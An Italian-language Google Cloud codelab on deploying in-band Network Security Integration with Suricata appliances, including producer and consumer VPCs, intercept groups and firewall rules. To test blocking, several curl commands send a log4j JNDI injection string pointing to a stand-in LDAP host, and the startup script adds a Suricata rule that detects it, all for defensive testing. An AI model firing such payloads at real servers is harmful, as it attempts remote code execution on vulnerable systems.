1. Introduzione
Integrazione di Network Security
Network Security Integration (NSI) offre la flessibilità di migliorare la sicurezza della rete per i tuoi carichi di lavoro. Potresti voler utilizzare un'appliance creata appositamente da un fornitore di software indipendente (ISV) di terze parti o un motore di ispezione approfondita dei pacchetti (DPI) per esaminare il payload. Per consentire l'integrazione perfetta con queste appliance di terze parti, Google Cloud semplifica il deployment delle appliance in modo trasparente senza modifiche alla rete o al routing.
Google Cloud offre due tipi di Network Security Integration: out-of-band e in-band. Questo lab illustrerà i passaggi per eseguire il deployment dell'integrazione della sicurezza di rete in banda.
Integrazione della sicurezza della rete in banda
Network Security Integration fornisce un'integrazione in banda utilizzando la tecnologia di intercettazione dei pacchetti che consente di inserire appliance di rete di terze parti nel percorso del traffico di rete per l'ispezione trasparente dei workload Google Cloud. Questo processo utilizza l'incapsulamento della virtualizzazione di rete generica (GENEVE) per trasportare in modo sicuro i pacchetti all'appliance senza modificare gli indirizzi IP di origine e di destinazione originali.
L'integrazione in banda offre un approccio incentrato sui servizi per eseguire il deployment e utilizzare appliance di rete inline di terze parti in modalità bump-in-the-wire. In qualità di producer di servizi, puoi pubblicare un insieme scalabile di appliance di rete di terze parti come deployment di intercettazione. In qualità di consumer di servizi, puoi utilizzare le policy e le regole di Cloud Next Generation Firewall per effettuare una selezione granulare del traffico da reindirizzare in modo trasparente a un endpoint di intercettazione locale per l'ispezione.

Figura 1. Architettura di deployment di alto livello del servizio di integrazione in banda
Per ulteriori informazioni sull'integrazione in banda di NSI, consulta la panoramica dell'integrazione in banda.
Producer di servizi in banda
I producer di servizi sono i luoghi in cui vengono implementati e gestiti gli appliance di terze parti. Questa operazione può essere gestita da un membro della tua organizzazione (team di sicurezza e così via) o da un fornitore esterno. I produttori registrano le proprie macchine virtuali, che possono essere appliance di terze parti, come backend di un bilanciatore del carico di rete passthrough interno nella propria rete VPC. Questi appliance ispezionano il traffico di rete reindirizzato. I produttori di servizi creano quindi deployment di intercettazione, una risorsa di zona che punta alla regola di forwarding del bilanciatore del carico di rete passthrough interno.
Un deployment di intercettazione è una risorsa di zona che rappresenta il servizio di ispezione del producer per una zona specifica. I produttori creano deployment di intercettazione per ogni zona in cui hanno eseguito il deployment delle VM.
Un gruppo di deployment di intercettazione è una risorsa globale a livello di progetto che consente ai consumer di connettersi ai servizi di ispezione di un producer. I producer creano un gruppo di deployment di intercettazione per raggruppare più deployment di intercettazione di zona. I producer utilizzano IAM per controllare quali consumer possono connettersi al proprio gruppo di deployment.
Per saperne di più, consulta Panoramica dei gruppi di deployment di intercettazione e Panoramica dei deployment di intercettazione.
Consumer di servizi in banda
I consumatori di servizi utilizzano i servizi di ispezione offerti dai producer. I consumer specificano quali VPC vogliono ispezionare e da quale producer. A questo scopo, i consumer creano un gruppo di endpoint di intercettazione, una risorsa globale che rappresenta la loro parte della relazione producer-consumer, e collegano il gruppo di endpoint di intercettazione al gruppo di deployment di intercettazione del producer.
Per associare il gruppo di endpoint di intercettazione ai VPC da cui vogliono che venga ispezionato il traffico, i consumer creano un'associazione di gruppo di endpoint di intercettazione. Per selezionare il traffico da inviare al producer per l'ispezione, i consumer creano e utilizzano criteri firewall di rete. I consumatori creano un gruppo di profili di sicurezza contenente un profilo di sicurezza che fa riferimento al loro gruppo di endpoint di intercettazione. I consumatori creano quindi una regola firewall per reindirizzare il traffico che corrisponde a criteri specifici agli elettrodomestici del produttore.
Anche se l'Intercept Endpoint Group(IEG) è una risorsa a livello di progetto, l'IEG e l'associazione IEG non devono trovarsi nello stesso progetto. Un IEG può essere referenziato da un'associazione IEG di altri progetti all'interno della tua organizzazione. Rappresenta il lato consumer della relazione producer-consumer. I consumer creano un gruppo di endpoint di intercettazione per utilizzare il servizio di ispezione di un producer. Ogni gruppo di endpoint di intercettazione sul lato consumer è associato a un singolo gruppo di deployment di intercettazione sul lato producer.
Per saperne di più, consulta Panoramica dei gruppi di endpoint di intercettazione e delle associazioni.
I consumatori devono creare una regola della policy del firewall per reindirizzare il traffico al gruppo di endpoint di intercettazione. I consumatori possono specificare i criteri di corrispondenza all'interno della regola dei criteri firewall, il che consente loro di definire il traffico da ispezionare da parte degli appliance del produttore.
I consumatori creano un profilo di sicurezza di intercettazione personalizzato per specificare quale gruppo di endpoint di intercettazione deve essere utilizzato per ispezionare il traffico.
I consumatori creano un gruppo di profili di sicurezza per definire un gruppo di funzionalità di ispezione della sicurezza da applicare a un sottoinsieme specifico di traffico. Un gruppo di profili di sicurezza contiene un singolo profilo di sicurezza di intercettazione personalizzato.
Cosa creerai

Figura 2. Architettura di deployment di alto livello per questo codelab
Per semplificare questo codelab, utilizzerai un singolo progetto e creerai due reti VPC, oltre a gestire una serie di risorse di rete e sicurezza. Questo lab mostrerà come eseguire il deployment dell'integrazione del servizio di rete in banda con un'appliance di terze parti per l'inserimento trasparente della sicurezza.
I flussi da ispezionare verranno selezionati utilizzando i parametri di corrispondenza di Cloud Firewall, inclusi i 5 tuple (IP di origine, IP di destinazione, protocollo, porta di origine, porta di destinazione). Per semplicità, in questo lab ispezionerai tutto il traffico in uscita sulla porta TCP 80.
Il producer consentirà l'ingresso dall'IP gateway della subnet VPC producer (10.0.0.1/32) per i pacchetti UDP con porta di destinazione 6081, la porta nota per GENEVE.
Lo stato finale del rulebase del criterio firewall di rete sarà simile alla tabella seguente:
Norme del Producer Network:
Priorità | Direzione | Protocollo | Target | Origine | Destinazione | Porta di destinazione | Azione |
100 | In entrata | Tutti | Tutti | Controlli di integrità | Qualsiasi | Qualsiasi | Consenti |
200 | In entrata | Tutti | Tutti | IAP | Qualsiasi | Qualsiasi | Consenti |
300 | In entrata | UDP | Tutti | 10.0.0.1/32 | Qualsiasi | 6081 | Consenti |
Norme relative alle reti di consumo:
Priorità | Direzione | Protocollo | Target | Origine | Destinazione | Porta di destinazione | Azione |
200 | In entrata | TCP | Tutti | IAP | Qualsiasi | 22 | Consenti |
800 | In uscita | TCP | Tutti | Qualsiasi | Qualsiasi | 80 | Intercetta |
Cosa imparerai a fare
- Come eseguire il deployment di Network Security Integration in banda
Che cosa ti serve
- Organizzazione e progetto Google Cloud
- Autorizzazioni IAM appropriate
- Conoscenza del deployment delle istanze e della configurazione dei componenti di rete
- Conoscenza della configurazione del firewall delle policy di rete
2. Prima di iniziare
Ruoli e autorizzazioni IAM
Per completare il codelab di Network Security Integration (NSI) in banda, devi disporre dei seguenti ruoli IAM:
- Amministratore di rete Compute (
roles/compute.networkAdmin): necessario per creare e gestire reti VPC, subnet, router cloud, gateway NAT e servizi di backend del bilanciatore del carico. - Compute Security Admin (
roles/compute.securityAdmin): necessario per creare, configurare e associare regole e policy del firewall di rete globali. - Amministratore istanza Compute (
roles/compute.instanceAdmin.v1): necessario per eseguire il deployment, accedere tramite SSH ed eliminare infine le appliance Suricata e le VM di test dei consumatori. - Intercept Deployment Admin (
roles/networksecurity.interceptDeploymentAdmin): utilizzato dal produttore per creare e gestire i deployment di intercettazione zonale e il gruppo di deployment globale. - Intercept Endpoint Admin (
roles/networksecurity.interceptEndpointAdmin): utilizzato dal consumer per creare gruppi di endpoint di intercettazione e associarli alla propria rete VPC. - Utente di deployment di intercettazione (
roles/networksecurity.interceptDeploymentUser): richiesto nel progetto producer per concedere al consumer l'autorizzazione a connettersi al gruppo di deployment del producer. - Amministratore del profilo di sicurezza (
roles/networksecurity.securityProfileAdmin): richiesto a livello di organizzazione per creare e gestire profili di sicurezza di intercettazione personalizzati e gruppi di profili di sicurezza. - Amministratore Service Usage (
roles/serviceusage.serviceUsageAdmin): necessario per abilitare le APInetworksecurity.googleapis.comecompute.googleapis.comrichieste per le funzionalità NSI. - Visualizzatore progetto (
roles/viewer): necessario per recuperare la configurazione del progetto e le informazioni sull'organizzazione per le variabili di ambiente utilizzate in tutto il lab.
API di Google Cloud
Assicurati che le API Cloud richieste siano abilitate nel tuo progetto.
Abilita le API necessarie ed esegui i seguenti comandi gcloud in Cloud Shell.
gcloud services enable compute.googleapis.com \ networksecurity.googleapis.com \ cloudresourcemanager.googleapis.com
Crea/aggiorna variabili
Questo codelab utilizza le variabili $per facilitare l'implementazione della configurazione gcloud in Cloud Shell.
In Cloud Shell, esegui i comandi riportati di seguito sostituendo le informazioni tra parentesi quadre in base alle esigenze:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zonea=[first-zone from $region] export zoneb=[second-zone from $region] export zonec=[third-zone from $region]
3. Azioni del produttore
Questa sezione riguarda l'implementazione del produttore. Ciò include il deployment di VPC, dell'appliance virtuale di rete di terze parti e di tutti i componenti pertinenti per Network Security Integration.
Componenti VPC e Cloud NAT
- Crea il VPC e la subnet:
gcloud compute networks create producer-vpc --subnet-mode=custom gcloud compute networks subnets create producer-$region-subnet \ --range=10.0.0.0/24 --network=producer-vpc --region=$region
- Recupera l'IP gateway della subnet per l'utilizzo della regola firewall:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
- Crea policy e regole firewall per il VPC del produttore. Queste regole firewall consentiranno l'ingresso per i controlli di integrità, IAP e il traffico di origine NSI:
gcloud compute network-firewall-policies create producer-fwpolicy \
--global
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from ilb health-check ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80 \
--direction=INGRESS \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
gcloud compute network-firewall-policies rules create 300 \
--description="allow GENEVE UDP:6081 packets from gateway" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=udp:6081 \
--direction=INGRESS \
--src-ip-ranges=$gatewayip
- Associa il VPC producer al criterio firewall di rete:
gcloud compute network-firewall-policies associations create \
--firewall-policy producer-fwpolicy \
--network producer-vpc \
--name producer-fwpolicy-association \
--global-firewall-policy
- Esegui il deployment di router Cloud e Cloud NAT per consentire all'appliance virtuale di rete (NVA) di terze parti di scaricare i pacchetti e gli aggiornamenti richiesti:
gcloud compute addresses create producer-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)") gcloud compute routers create producer-$region-cr \ --region=$region --network=producer-vpc gcloud compute routers nats create producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=producer-$region-cloudnatip
VM di terze parti
Per questo lab, eseguirai il deployment di Suricata, un servizio open source di rilevamento delle minacce. Il comando ha uno script di avvio che installerà e configurerà Suricata. Esistono anche iptables che eseguono la Network Address Translation dell'origine (SNAT) e la Network Address Translation della destinazione (DNAT) per la gestione e la risposta ai pacchetti GENEVE.
- Esegui il deployment di una NVA di terze parti nella prima zona.
gcloud compute instances create suricata-$zonea \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.3 \
--zone $zonea \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
- Esegui il deployment di una NVA di terze parti nella seconda zona:
gcloud compute instances create suricata-$zoneb \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.4 \
--zone $zoneb \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
Componenti del bilanciatore del carico del produttore
- Crea un controllo di integrità generico utilizzato per verificare la disponibilità della tua NVA di terze parti:
gcloud compute health-checks create http nva-hc
- Crea un gruppo di istanze non gestite a livello di zona per ogni zona:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \ --zone $zonea gcloud compute instance-groups unmanaged create producer-$zoneb-uig \ --zone $zoneb
- Aggiungi le istanze ai gruppi di istanze:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb
Convalida che i gruppi di istanze contengano le istanze con i seguenti comandi:
gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb
Esempio di output:
NAME: suricata-$zonea STATUS: RUNNING NAME: suricata-$zoneb STATUS: RUNNING
- Crea un servizio di backend UDP interno:
gcloud compute backend-services create producer-bes \ --protocol=UDP \ --region=projects/$project_id/regions/$region \ --health-checks=projects/$project_id/global/healthChecks/nva-hc \ --load-balancing-scheme=INTERNAL
- Aggiungi entrambi i gruppi di istanze al servizio di backend:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
- Prenota IP interni per le regole di forwarding. Ogni deployment di intercettazione richiede una regola di forwarding univoca:
gcloud compute addresses create producer-fr-$zonea-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.11
gcloud compute addresses create producer-fr-$zoneb-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.12
- Crea la regola di forwarding per ogni zona. Questo è necessario perché il deployment dell'intercettazione richiede una regola di forwarding univoca:
gcloud compute forwarding-rules create producer-fr-$zonea \ --ip-protocol=UDP --address=10.0.0.11 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet gcloud compute forwarding-rules create producer-fr-$zoneb \ --ip-protocol=UDP --address=10.0.0.12 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
Componenti di integrazione di Network Security Integration
- Crea un gruppo di deployment di intercettazione:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
--location global \
--no-async \
--network producer-vpc
Verifica che il gruppo di deployment sia stato creato correttamente:
gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
--location global
Output di esempio:
createTime: '2025-01-16T06:13:48.075183628Z' name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group network: projects/$project_id/global/networks/producer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:13:50.556947138Z'
- Crea un deployment di intercettazione per ogni zona:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
--location $zonea \
--forwarding-rule producer-fr-$zonea \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
--location $zoneb \
--forwarding-rule producer-fr-$zoneb \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
Verifica che i deployment di intercettazione siano stati creati correttamente:
gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
--location $zonea
gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
--location $zoneb
Esempio di output:
createTime: '2025-01-16T06:27:08.834875130Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:14.401072601Z' createTime: '2025-01-16T06:33:47.798469786Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:25.258447474Z'
Congratulazioni, hai completato la configurazione lato produttore. Il passaggio successivo consiste nel configurare il lato consumer per intercettare il traffico e inviarlo in modo trasparente agli appliance di terze parti per l'applicazione.
4. Azioni dei consumatori
Sebbene questo lab utilizzi VPC separati all'interno di un singolo progetto per semplicità, negli ambienti reali le risorse di produttore e consumer possono risiedere in progetti diversi o anche in organizzazioni diverse.
Componenti VPC e Cloud NAT
- Crea il VPC e la subnet:
gcloud compute networks create consumer-vpc --subnet-mode=custom gcloud compute networks subnets create consumer-$region-subnet \ --range=192.168.0.0/24 --network=consumer-vpc --region=$region
- Crea il router Cloud e il gateway Cloud NAT:
gcloud compute addresses create consumer-$region-cloudnatip \
--region=$region
export cloudnatip=$(gcloud compute addresses list \
--filter=name:consumer-$region-cloudnatip \
--format="value(address)")
gcloud compute routers create consumer-$region-cr \
--region=$region \
--network=consumer-vpc
gcloud compute routers nats create consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region \
--nat-all-subnet-ip-ranges \
--nat-external-ip-pool=consumer-$region-cloudnatip
Gruppo di endpoint di intercettazione e associazione
- Crea gruppo di endpoint di intercettazione:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
--location global \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
Convalida che l'endpoint sia stato creato correttamente:
gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
--location global
Output di esempio:
createTime: '2025-01-16T06:37:10.620185836Z' interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group reconciling: false state: ACTIVE updateTime: '2025-01-16T06:37:22.707994466Z'
- Crea l'associazione del gruppo di endpoint di intercettazione specificando il VPC consumer:
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
--location global \
--network consumer-vpc \
--no-async \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
Convalida:
gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
--location global
Esempio di output:
createTime: '2025-01-16T06:40:21.125202733Z' interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group locations: - location: $zonea state: ACTIVE - location: $zoneb state: ACTIVE name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc network: projects/$project_id/global/networks/consumer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:40:56.085493855Z'
Profilo di sicurezza e gruppo di profili di sicurezza
Successivamente, creerai un profilo di sicurezza personalizzato per l'intercettazione e lo collegherai al gruppo di profili di sicurezza. Il profilo di sicurezza e il gruppo di profili di sicurezza vengono utilizzati per l'intercettazione dei pacchetti per le appliance di terze parti.
- Crea un profilo di sicurezza di intercettazione personalizzato:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
--organization $org_id \
--location global \
--billing-project $project_id \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
Verifica che il profilo di sicurezza sia stato creato correttamente:
gcloud network-security security-profiles custom-intercept \ describe nsi-intercept-profile \ --organization=$org_id \ --location=global
Esempio di output:
{
"createTime": "2025-01-16T20:25:21.545756039Z",
"customInterceptProfile": {
"interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
},
"etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
"name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
"type": "CUSTOM_INTERCEPT",
"updateTime": "2025-01-16T20:25:24.101764860Z"
}
- Crea un gruppo di profili di sicurezza:
gcloud network-security security-profile-groups create nsi-spg \ --custom-intercept-profile=nsi-intercept-profile \ --organization=$org_id \ --project=$project_id \ --location=global
Verifica che il gruppo di posizionamento degli oggetti sia stato creato correttamente:
gcloud network-security security-profile-groups describe nsi-spg \
--organization $org_id \
--billing-project $project_id \
--location global
Esempio di output:
"createTime": "2025-01-16T20:31:23.545946850Z", "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile", "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0", "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg", "updateTime": "2025-01-16T20:31:27.588870973Z"
Policy, regole e associazione del firewall
- Crea una policy del firewall di rete globale:
gcloud compute network-firewall-policies create consumer-fwpolicy \
--global
- Crea le regole firewall:
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=consumer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
- Crea la regola firewall per intercettare tutto il traffico in uscita utilizzando NSI per inviarlo in modo trasparente al nostro dispositivo di terze parti. Questa regola invierà tutto il traffico in uscita TCP:80 per l'ispezione.
gcloud compute network-firewall-policies rules create 800 \
--action APPLY_SECURITY_PROFILE_GROUP \
--firewall-policy consumer-fwpolicy \
--security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
--direction EGRESS \
--layer4-configs tcp:80 \
--dest-ip-ranges 0.0.0.0/0 \
--global-firewall-policy
- Associa i criteri firewall cloud alla rete VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy consumer-fwpolicy \
--network consumer-vpc \
--name consumer-fwpolicy-association \
--global-firewall-policy
VM consumer
- Esegui il deployment delle VM utilizzate per convalidare NSI. Esegui il deployment di tre VM in tre zone. Ricorda che solo due zone hanno NSI abilitato, mentre $zonec no.
gcloud compute instances create consumer-$zonea \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.3 \ --no-address \ --zone $zonea gcloud compute instances create consumer-$zoneb \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.4 \ --no-address \ --zone $zoneb gcloud compute instances create consumer-$zonec \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.5 \ --no-address \ --zone $zonec
Test di Network Security Integration in banda
- Accedi tramite SSH alla VM in $zonea (consumer-$zonea). Invia traffico di test:
gcloud compute ssh consumer-$zonea \ --zone $zonea
- Invia traffico di test a http://www.google.com:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Output previsto:
200
Il codice di stato HTTP 200 indica che la richiesta del client è stata ricevuta, compresa ed elaborata correttamente dal server.
- Invia richieste log4j che devono essere bloccate da Suricata tramite NSI.
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Output previsto:
000
Il codice di risposta HTTP 000 è un codice non ufficiale e non standard utilizzato da alcuni software per indicare che non è stato ricevuto alcun codice di stato HTTP valido. Ciò significa probabilmente che la richiesta è stata bloccata dal firewall.
- Tornare a Cloud Shell uscendo dalla sessione SSH
exit
- Accedi tramite SSH alla VM in $zoneb (consumer-$zoneb)
gcloud compute ssh consumer-$zoneb \ --zone $zoneb
- Allo stesso modo, invia traffico di test:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Output previsto:
200
- Invia richiesta log4j:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Output previsto:
000
- Tornare a Cloud Shell uscendo dalla sessione SSH
exit
- Accedi tramite SSH alla VM in $zonec (consumer-$zonec)
gcloud compute ssh consumer-$zonec \ --zone $zonec
- Allo stesso modo, invia traffico di test:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Output previsto:
200
- Invia richiesta log4j:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Output previsto:
200
Come puoi notare, questa richiesta è stata elaborata. Si tratta di un comportamento previsto perché non hai configurato NSI con $zonec. Il gruppo di endpoint di intercettazione ha solo associazioni per $zonea e $zoneb.
- Tornare a Cloud Shell uscendo dalla sessione SSH
exit
Convalida che Suricata abbia ricevuto e bloccato le richieste dannose
- Accedi tramite SSH alla VM Suricata in $zonea (suricata-$zonea) per controllare i log:
gcloud compute ssh suricata-$zonea \ --zone $zonea
- Visualizza i log filtrati in base al tipo di attacco:
cat /var/log/suricata/eve.json | grep log4j
Potresti vedere alcune voci. Se non vedi voci, controlla i log della VM Suricata in $zoneb. Esempio di output:
{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
- Tornare a Cloud Shell uscendo dalla sessione SSH
exit
(Facoltativo) Puoi accedere tramite SSH alla VM Suricata in $zoneb (suricata-$zoneb) e convalidare i log
gcloud compute ssh suricata-$zoneb \ --zone $zoneb
Visualizza i log filtrati in base al tipo di attacco:
cat /var/log/suricata/eve.json | grep log4j
Esempio di output:
